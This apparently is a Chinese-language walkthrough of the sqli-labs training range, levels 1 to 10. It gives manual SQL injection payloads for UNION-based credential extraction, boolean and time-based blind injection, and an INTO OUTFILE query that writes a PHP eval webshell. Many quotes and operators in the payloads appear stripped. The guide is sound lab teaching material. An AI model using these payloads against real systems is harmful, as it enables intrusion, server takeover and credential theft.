1. 项目概述从靶场实战到SQL注入核心原理如果你正在学习网络安全尤其是Web安全方向那么“SQL注入”这个词对你来说一定不陌生。它就像一把古老却依然锋利的钥匙是渗透测试人员、安全研究员乃至CTF选手必须掌握的核心技能。而sqli-labs这个靶场无疑是公认的、最好的SQL注入实战演练场。它由印度安全研究员Audi-1开发通过搭建一个存在各种类型SQL注入漏洞的PHP网站引导学习者从最基础的错误回显注入一步步深入到盲注、堆叠注入、二次注入等高级技巧。通关sqli-labs的过程本质上就是系统化构建你SQL注入知识体系的过程。网上关于sqli-labs的通关教程很多但大多停留在“Payload是什么”和“怎么注入成功”的层面。这篇详解的目的是带你走得更深。我们不仅要通关第1到第10关更要拆解每一关背后设计的漏洞原理、代码逻辑、以及绕过思路。我会结合自己多年在渗透测试和CTF比赛中积累的经验分享那些官方文档里不会写的“骚操作”和“踩坑实录”。无论你是刚入门的新手还是想巩固基础的老手都能从这里获得可以直接“抄作业”的步骤同时理解“为什么要这么操作”的底层逻辑。2. 环境搭建与靶场初始化在开始“打靶”之前一个稳定、隔离的测试环境是重中之重。我强烈不建议你在任何公网或生产环境进行SQL注入测试这不仅是法律和道德的红线也是保护你自己的必要措施。2.1 本地靶场部署方案选择sqli-labs靶场本质上是一个PHPMySQL的Web应用。最省心、兼容性最好的部署方式是使用集成环境。方案一使用PHPStudyWindows/Linux对于大多数国内学习者PHPStudy是首选。它集成了Apache/Nginx、PHP和MySQL一键安装配置。下载与安装从官网下载最新版PHPStudy安装路径避免中文和空格。启动服务安装完成后启动Apache和MySQL服务。确保两个服务旁边的指示灯都是绿色。部署靶场将下载的sqli-labs源码包解压整个文件夹复制到PHPStudy的WWW目录下例如D:\phpstudy_pro\WWW\sqli-labs。访问与初始化在浏览器访问http://localhost/sqli-labs/。点击页面上的“Setup/reset Database for labs”链接。这个操作会在你的MySQL中创建必要的数据库和表。注意如果点击链接后报错通常是数据库连接配置问题。你需要编辑sqli-labs/sql-connections/db-creds.inc文件将数据库用户名、密码修改为PHPStudy中MySQL的配置PHPStudy默认root密码通常是root。方案二使用Docker跨平台推荐如果你熟悉命令行或者使用macOS/LinuxDocker方案更干净、更易管理。# 拉取现成的sqli-labs镜像 docker pull acgpiano/sqli-labs # 运行容器将容器的80端口映射到本地的8080端口 docker run -dt --name sqli-labs -p 8080:80 acgpiano/sqli-labs运行后浏览器访问http://localhost:8080即可。Docker镜像通常已经初始化好数据库无需额外配置。方案三手动搭建LAMP/LEMP环境适合想深入了解Web服务配置的学习者。你需要分别安装Apache/Nginx、PHP、MySQL并手动配置虚拟主机、PHP模块和数据库。这个过程稍复杂但能让你对靶场的运行环境有更深理解。2.2 关键工具准备你的“武器库”工欲善其事必先利其器。除了浏览器以下几款工具将极大提升你的测试效率。浏览器与插件Burp Suite Community必装 拦截、重放HTTP请求的神器。在测试POST型注入、修改请求头、进行Intruder爆破时不可或缺。HackBar插件可选但推荐 集成在浏览器中的简单工具可以方便地构造URL编码、执行简单的Payload适合快速测试。SQL注入专用工具sqlmap王者级 自动化SQL注入检测与利用工具。但请注意在初学阶段我强烈建议你手动完成前10关彻底理解原理后再用sqlmap进行验证和深入学习它的高级参数。直接依赖工具会让你失去思考的过程。手工测试思维 你最重要的工具其实是你的大脑和一张记录测试结果的表格纸或电子表格。数据库管理工具phpMyAdmin 如果使用PHPStudy它通常自带。用于直观查看靶场数据库security的结构和数据验证你的注入结果。MySQL命令行 通过命令行连接可以练习SQL语句理解后端数据库实际执行的操作。2.3 靶场结构分析与测试心态建立访问靶场主页你会看到很多关卡的链接。前10关是Less-1到Less-10。每一关都模拟了一种常见的SQL注入场景。正确的测试心态黑盒测试 一开始像真正的渗透测试一样把靶场当做一个“黑盒子”你只知道输入参数和输出页面回显。观察与推理 重点关注页面正常显示、数据库报错信息、页面空白、登录成功/失败等不同反馈。这些反馈是判断注入类型和构造Payload的黄金线索。循序渐进 严格按照关卡顺序进行。前几关是基石后面关卡的技巧往往建立在前者的基础上。记录与复盘 准备一个笔记记录每一关的URL、测试参数、Payload、回显结果、最终利用语句和获取的flag通常是数据库里的secret key。好记性不如烂笔头。3. 核心原理SQL注入是如何发生的在动手之前我们必须把原理吃透。SQL注入的根源在于程序将用户输入的数据未经充分过滤或转义直接拼接到了SQL查询语句中。假设一段正常的后端PHP代码是这样处理用户登录的$username $_POST[username]; $sql SELECT * FROM users WHERE username $username AND password ...;当用户输入正常的用户名例如adminSQL语句是SELECT * FROM users WHERE username admin AND password ...一切正常。但如果用户输入的是admin --注意最后有个空格拼接后的SQL语句就变成了SELECT * FROM users WHERE username admin -- AND password ...在SQL中--是单行注释符。这意味着后面的AND password ...被注释掉了查询变成了只验证用户名完全绕过了密码检查。这就是最经典的“万能密码”绕过。sqli-labs靶场就是通过模拟这类有缺陷的代码让我们练习如何利用它。每一关的源代码在sqli-labs/Less-X目录下的index.php中都故意留下了不同的漏洞点我们需要像侦探一样通过前端的输入去推测后端的代码逻辑然后构造合适的Payload去“欺骗”数据库执行我们想要的命令。4. 通关详解Less-1 到 Less-10 实战拆解下面我们将逐关突破。我会提供通关的Payload但更重要的是解释每一步测试的逻辑和背后的原理。4.1 Less-1基于错误的字符型注入入门关卡特征页面有一个id参数输入数字会显示对应的用户信息。例如?id1。测试步骤与思路拆解判断注入点输入?id1在数字1后加一个单引号。页面返回了数据库的详细报错信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1这个报错是黄金信息它告诉我们注入存在因为单引号破坏了语法。注入点是字符型因为错误信息中1显示我们输入的单引号与原有的单引号配对导致多出一个单引号。后端查询语句大概形如SELECT ... FROM ... WHERE id$id LIMIT 0,1判断字段数列数为了后续进行联合查询UNION我们必须知道前端页面展示数据用到了查询结果中的几列。使用ORDER BY子句进行猜测。?id1 ORDER BY 1 --页面正常?id1 ORDER BY 2 --页面正常?id1 ORDER BY 3 --页面正常?id1 ORDER BY 4 --页面报错 这说明当前查询结果有3 列。--是注释符在URL中代表空格用于注释掉原SQL语句中后面的内容。确定回显点知道了列数就可以用UNION SELECT来探测前端页面会显示哪几列的数据。?id-1 UNION SELECT 1,2,3 --为什么是id-1因为原查询SELECT ... WHERE id1大概率会返回一条数据。我们使用UNION必须让前一个查询结果为空才能显示我们UNION查询的结果。设置一个不存在的id值如-1是常用技巧。执行后页面原本显示用户名、密码的地方可能会变成数字2和3。这说明页面的第2和第3列是回显位。获取数据库信息利用回显位替换SELECT中的内容。获取当前数据库名?id-1 UNION SELECT 1, database(), 3 --在回显位2显示数据库名通常是security。获取MySQL版本?id-1 UNION SELECT 1, version(), 3 --获取当前用户?id-1 UNION SELECT 1, user(), 3 --爆破表名、列名、数据获取security数据库中的所有表名?id-1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schemadatabase() --group_concat()函数将多行结果合并成一行方便查看。information_schema.tables是系统表存储了所有表的信息。假设我们看到了users表接下来获取users表的所有列名?id-1 UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers --最后拖取数据例如username和password列?id-1 UNION SELECT 1, group_concat(username), group_concat(password) FROM users --实操心得--是--空格的URL编码形式。有时也需要用#其URL编码为%23来注释。在Burp Suite中直接输入--空格即可。判断字符型还是数字型至关重要。数字型注入不需要闭合单引号例如?id1 AND 11。4.2 Less-2数字型注入关卡特征与Less-1类似但输入?id1报错信息不同可能没有单引号相关的提示。测试与思路输入?id1 AND 11页面正常。输入?id1 AND 12页面异常无数据或报错。因为12为假导致整个WHERE条件为假。 这强烈暗示是数字型注入。后端语句可能是SELECT ... FROM ... WHERE id$id。后续步骤与Less-1类似但无需闭合单引号。判断列数?id1 ORDER BY 3 --联合查询?id-1 UNION SELECT 1,2,3 --获取信息?id-1 UNION SELECT 1, database(), version() --注意事项数字型注入通常更简单因为不需要考虑引号闭合。但有些开发人员会用intval()等函数强制转换参数为整数这样注入就会失效。Less-2就是最纯粹的数字型注入。4.3 Less-3带括号的字符型注入关卡特征输入?id1报错信息中出现了括号)。测试与思路报错信息类似near \1) LIMIT 0,1\。这说明后端查询语句可能是SELECT ... WHERE id($id)或... WHERE id(‘$id’)。我们需要闭合括号和单引号。Payload构造为?id1) --验证?id1) AND 11正常?id1) AND 12异常。确认闭合成功。后续步骤与Less-1一致只需在Payload开头使用1)进行闭合。判断列数?id1) ORDER BY 3 --联合查询?id-1) UNION SELECT 1,2,3 --核心技巧报错信息是你的最佳指南。它直接暴露了SQL语句的拼接方式。遇到括号不要慌先补全右括号再考虑引号闭合。4.4 Less-4带括号的双引号字符型注入关卡特征输入单引号不报错输入双引号报错且报错信息显示为1)。测试与思路这关将参数用双引号和括号包裹WHERE id($id)。我们需要闭合双引号和括号。Payload?id1) --验证?id1) AND 11正常。后续步骤?id-1) UNION SELECT 1,2,3 --经验之谈测试时单引号和双引号都要尝试。有时开发人员为了“安全”会过滤单引号但忘了双引号。sqli-labs设计这些关卡就是为了让我们熟悉各种包裹情况。4.5 Less-5布尔盲注与时间盲注初探关卡特征输入?id1有正常回显如“You are in...”但无论UNION SELECT什么页面都不会显示数据库数据只显示固定语句。输入错误时如?id1页面会报错但正确与错误时页面显示的内容不同可能是“You are in...”与空白或报错的区别。这就是基于布尔的盲注。思路转变没有直接的数据回显我们不能直接用UNION获取数据。但我们可以通过页面返回的“是”与“否”True/False像猜谜一样一位一位地猜出数据。实战手工布尔盲注获取当前数据库名长度首先确认注入类型。?id1 AND 11返回正常页面?id1 AND 12返回异常页面。确认是字符型注入且页面存在布尔状态差异。猜解数据库名长度。数据库名是security长度为8。我们通过length(database())函数来猜。?id1 AND length(database())1 --(异常)?id1 AND length(database())2 --(异常)...?id1 AND length(database())8 --(正常) 当长度为8时页面正常说明数据库名长度为8。实战使用substr()函数逐位猜解数据库名数据库名是一个字符串我们需要用substr(string, start, length)函数来截取每一位字符并用ascii()函数将其转换为ASCII码与猜测值比较。猜第一位字符的ASCII码?id1 AND ascii(substr(database(),1,1))100 --(正常说明100)?id1 AND ascii(substr(database(),1,1))110 --(异常说明110)?id1 AND ascii(substr(database(),1,1))115 --(正常ASCII 115对应字母 ‘s’)重复以上过程猜第二位substr(database(),2,1)... 直到猜出完整的security。时间盲注作为备选如果页面无论对错都返回相同内容没有任何布尔状态差异我们就需要利用时间盲注。通过sleep()函数让页面响应延迟根据响应时间来判断条件真假。?id1 AND if(ascii(substr(database(),1,1))115, sleep(5), 0) --如果页面响应延迟了大约5秒说明第一位字符的ASCII码是115‘s’。实操心得手工进行完整的盲注极其繁琐通常借助工具如sqlmap的--techniqueB布尔盲注或--techniqueT时间盲注参数。但手动完成几次猜解过程对于理解盲注的本质二值逻辑判断至关重要。在Less-5你可以先用布尔盲注猜出数据库名然后用?id1 AND (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()) LIKE %users% --这样的语句利用LIKE关键字进行模糊匹配来验证表名的存在这比逐位猜解整个表名字符串要快一些。4.6 Less-6双引号布尔盲注关卡特征与Less-5类似但错误输入?id1时才会报错。说明是双引号字符型注入。测试与思路确认注入点?id1 AND 11(正常)?id1 AND 12(异常)。后续布尔盲注或时间盲注的Payload只需将Less-5中的单引号闭合改为双引号闭合即可。例如?id1 AND length(database())8 --猜解?id1 AND ascii(substr(database(),1,1))115 --注意事项从这一关开始对引号类型的判断要成为肌肉记忆。单引号、双引号、括号、它们的组合是注入测试的第一步。4.7 Less-7文件导出注入与绝对路径获取关卡特征这一关的提示是“Use outfile......”旨在引导我们利用SELECT ... INTO OUTFILE语句将查询结果写入服务器文件系统。这需要满足严苛的条件1知道服务器上的绝对路径2数据库用户有FILE权限3对目标目录有写权限。测试与思路首先判断注入类型。尝试?id1可能报错信息会提示闭合方式例如))。假设我们通过报错得知需要闭合))。验证注入?id1)) AND 11。尝试利用INTO OUTFILE。我们需要先获取Web根目录的绝对路径。常见方法通过报错信息有时MySQL报错会包含路径。利用LOAD_FILE()读取已知配置文件如/etc/passwd(Linux)或C:\\windows\\win.ini(Windows)但这通常需要高权限。在sqli-labs中路径可能是/var/www/html/sqli-labs/或D:/phpstudy_pro/WWW/sqli-labs/。写入Webshell假设路径已知?id1)) UNION SELECT 1, ?php eval($_POST[cmd]);?, 3 INTO OUTFILE /var/www/html/sqli-labs/shell.php --这条语句将PHP一句话木马写入Web可访问的目录。成功后访问http://localhost/sqli-labs/shell.php用POST传递cmdphpinfo();即可执行命令。严重警告文件导出注入是极高风险的漏洞它可能导致服务器被完全控制。sqli-labs是本地靶场仅供学习。在未经授权的真实环境中测试或利用此漏洞是严重的违法行为。4.8 Less-8单引号盲注的深入练习关卡特征与Less-5非常相似也是布尔盲注但页面只有“You are in...”和空白或轻微不同两种状态没有MySQL报错。这要求我们更纯粹地依赖布尔判断。测试与思路使用经典的AND 11和AND 12测试?id1 AND 11(返回“You are in...”)?id1 AND 12(返回空白) 确认是单引号字符型布尔盲注。重复Less-5的布尔盲注流程使用length()、substr()、ascii()函数通过页面是否显示“You are in...”来逐位猜解数据。可以尝试使用LIKE进行模糊猜解提高效率?id1 AND database() LIKE s% --(正常说明库名以‘s’开头)?id1 AND database() LIKE se% --(正常) ... 以此类推。技巧分享在真实盲注中二分法比逐位遍历快得多。例如猜ASCII码?id1 AND ascii(substr(database(),1,1))96 --(正常说明96在小写字母范围)?id1 AND ascii(substr(database(),1,1))110 --(异常说明110) ... 快速缩小范围。4.9 Less-9单引号时间盲注关卡特征无论输入什么页面返回都一模一样通常是“You are in...”。布尔盲注失效必须使用时间盲注。测试与思路验证时间注入是否有效?id1 AND sleep(5) --观察页面响应是否明显延迟约5秒。如果是则确认时间盲注可用。利用if(condition, true_part, false_part)函数结合sleep()进行猜解。猜数据库名长度?id1 AND if(length(database())8, sleep(3), 0) --如果延迟3秒则长度为8。猜第一位字符?id1 AND if(ascii(substr(database(),1,1))115, sleep(3), 0) --如果延迟3秒则第一位是‘s’。实操心得时间盲注非常耗时且受网络波动影响。设置合理的sleep时间如2-3秒很重要。自动化工具如sqlmap在进行时间盲注时会使用更精巧的差分时间算法比单纯判断“是否延迟N秒”更可靠。这一关纯粹训练耐心和对时间盲注原理的理解。4.10 Less-10双引号时间盲注关卡特征与Less-9一样是时间盲注但闭合方式为双引号。测试与思路验证?id1 AND sleep(5) --观察延迟。后续Payload只需将Less-9中的单引号闭合替换为双引号即可。?id1 AND if(length(database())8, sleep(3), 0) --?id1 AND if(ascii(substr(database(),1,1))115, sleep(3), 0) --总结前10关这10关系统地覆盖了SQL注入的基础核心类型错误回显注入1-4、盲注布尔5/6/8、时间9/10、以及文件导出7。它们训练了我们判断注入类型、闭合方式、获取信息的基本功。从Less-11开始将进入POST型注入、报错注入、堆叠注入等更复杂和有趣的阶段。5. 核心技巧与避坑指南在手动通关的过程中我总结了一些极易出错和提升效率的点这些在标准教程里很少提及。5.1 注释符的灵活运用与编码注释符用于“注释”掉原始SQL语句中我们不需要的部分是Payload构造的关键。--空格最常用的单行注释符。URL中空格需要编码为或%20所以常写为--。在Burp Suite里直接打--加一个空格即可。#也是单行注释符。在URL中需要编码为%23因为#在URL中表示锚点。所以Payload里常写%23。何时用哪个这取决于后端处理。如果--无效就尝试%23。在Less-1中查看源码你会发现它使用了mysql_real_escape_string函数但注释符依然有效。多试试总没错。5.2 判断列数的 ORDER BY 技巧ORDER BY不仅用于判断列数有时还能用来判断列的类型。ORDER BY 1表示按第一列排序。如果第一列是整数排序正常如果是字符串也按字符串规则排。如果ORDER BY一个不存在的列号如4数据库会报错页面体现为异常。陷阱有时页面在ORDER BY超过实际列数时不是报错而是返回空或默认排序。这时可以结合UNION SELECT观察回显位来辅助判断。例如尝试UNION SELECT 1,2,3,4 --如果报错则列数小于4。5.3 UNION 查询的细节与限制让前查询结果为空这是使用UNION的前提。除了用id-1还可以用id1 AND 12。核心是让原WHERE条件不成立。数据类型匹配UNION前后查询的列数必须相同且对应列的数据类型最好兼容。如果你在数字回显位比如页面显示的是用户ID尝试UNION SELECT 1, database(), 3而database()返回字符串通常MySQL会做隐式转换但有时可能导致显示异常。如果遇到问题可以尝试用null或空字符串占位。利用回显位找到的回显位如2,3是输出信息的“窗口”。所有你想看到的数据都要想办法放到SELECT语句的这两个位置。5.4 信息收集的进阶姿势除了database(),version(),user()这些信息也很有用datadir 数据库数据存储路径。version_compile_os 操作系统。SELECT schema_name FROM information_schema.schemata 列出所有数据库。 获取表名、列名时group_concat()有长度限制默认1024字节。对于超长的结果可以用substr()分段获取?id-1 UNION SELECT 1, substr(group_concat(table_name), 1, 30), 3 FROM information_schema.tables WHERE table_schemadatabase() --6. 常见问题排查与解决实录即使按照步骤操作你也可能会遇到各种“坑”。这里记录了我带新人时最常见的问题。问题现象可能原因解决方案点击“Setup/reset”后一直加载或报错1. 数据库连接配置错误。2. MySQL服务未启动。3. PHP版本过高5.x与靶场代码不兼容。1. 检查db-creds.inc文件中的主机名localhost、用户名、密码。2. 确保PHPStudy中的MySQL服务是绿色运行状态。3. 尝试在PHPStudy中切换PHP版本到5.6.x。注入测试时加单引号页面空白无报错1. 靶场配置关闭了错误回显display_errors Off。2. 可能是盲注关卡。1. 检查PHP配置文件php.ini确保display_errors为On。2. 尝试布尔盲注的测试方法AND 11/AND 12观察页面细微差别。UNION SELECT 后页面不显示数字2,31. 列数判断错误。2. 前查询结果未置空。3. 回显位置不在我们猜测的列。1. 重新用ORDER BY精确判断列数。2. 确保id参数为一个不存在的值如-1, 999。3. 尝试UNION SELECT a,b,c看哪个字母出现在页面上。Payload 在浏览器输入后被截断或错误URL编码问题。浏览器或服务器对特殊字符如空格、引号、井号处理不当。使用Burp Suite或HackBar。在Burp的Repeater模块中构造请求可以精确控制每一个字符。这是专业测试的必备习惯。知道是盲注但手工猜解太慢这是正常现象盲注本就耗时。理解原理后可以使用sqlmap进行自动化验证。命令示例sqlmap -u http://localhost/sqli-labs/Less-5/?id1 --techniqueB --current-db最后的建议通关sqli-labs前10关只是SQL注入万里长征的第一步。但这一步至关重要它建立了你对注入最直接的感官认识。我建议你在手动完成每一关后都去查看对应关卡的源代码index.php和sql-connections下的文件看看漏洞代码到底长什么样过滤是怎么绕过的。这能让你从“攻击者”视角切换到“防御者”视角真正理解漏洞根源从而在未来的开发或安全审计中知道如何避免写出有问题的代码。当你觉得手动注入游刃有余时再拿起sqlmap这样的自动化工具你会发现自己不仅能看懂它的输出更能理解它每一步在做什么甚至能手动调整Payload来应对一些简单的WAF过滤。这才是学习靶场的终极目的。